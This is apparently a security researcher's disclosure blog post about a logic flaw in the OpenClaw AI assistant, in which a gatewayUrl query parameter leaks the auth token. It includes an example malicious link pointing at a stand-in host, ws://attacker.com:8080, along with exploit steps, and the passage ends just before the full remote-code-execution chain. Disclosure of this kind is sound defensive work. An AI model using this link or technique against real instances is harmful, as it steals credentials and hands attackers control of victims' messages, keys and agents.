February 1, 2026 Mav Levin Founding Security Researcher OpenClaw (formerly Moltbot and ClawdBot), the open-source AI personal assistant that can take actions on your behalf, is the most popular topic on X right now. It is already trusted by over 100,000 developers to hold the keys to their digital life, from iMessage/WhatsApp/Slack access to unrestricted local computer control. But when you grant an agent "god mode" permissions, the margin for error vanishes. While the community celebrated its capabilities, depthfirst General Security Intelligence silently audited its code and found a critical vulnerability. I investigated the finding, combined it with a vulnerability I discovered, and chained them into a 1-Click Remote Code Execution (RCE) exploit. With this exploit, a single visit to a malicious webpage was enough to hack your computer and AI assistant. I’ll dissect the logic flaw depthfirst uncovered and walk you through the exact kill chain I built to weaponize it. Codebases are rarely linear; logic is scattered, fragmented, and buried across dozens of files. That’s where the complexity and bugs hide. Our system maps the full flow of an application's lifecycle. Here, our engine stitched together a data flow across the stack to reveal a critical logic gap: 1. Ingestion:app-settings.tsblindly accepts agatewayUrlquery parameter in the URL and persists it to storage. For example,https://localhost?gatewayUrl=attacker.comwould saveattacker.comas the new gateway url. 2. Processing:app-lifecycle.tstriggersconnectGateway()immediatelyafter settings (such as the gateway url) are applied. 3.Protocol Execution:gateway.ts automatically bundles the security-sensitive authToken into the system’s connection handshake to the new gateway. In isolation, each of these operations are safe. However, the depthfirst scan recognized that together, these operations create a critical security issue. Our engine flagged the dangerous pattern: clicking a URL can force a connection and leak the authentication token to an attacker. Here’s a preview of the finding in the depthfirst UI: Directly exploiting an insecurely configured internet-facing OpenClaw is trivial but limited in impact and scope. These are the exploit steps: 1. The victim clicks a malicious link (or visits a site that forwards them to the malicious link),http://victim_openclaw.com?gatewayUrl=ws://attacker.com:8080. 2. The attacker listening to WebSocket connections on their server receives theauthtoken. 3. The attacker logs in to the victim’s OpenClaw instance using the stolen token. The attacker can now access the victim’s personal data and perform actions on the victim’s behalf. This can include reading text messages and Stripe API keys. Specific exploitation depends on which data the victim set up OpenClaw with. This is bad enough, but this direct exploitation method has 3 limitations: Here’s how I overcame those 3 limitations and demonstrated this vulnerability can be weaponized to achieve 1-Click remote code execution.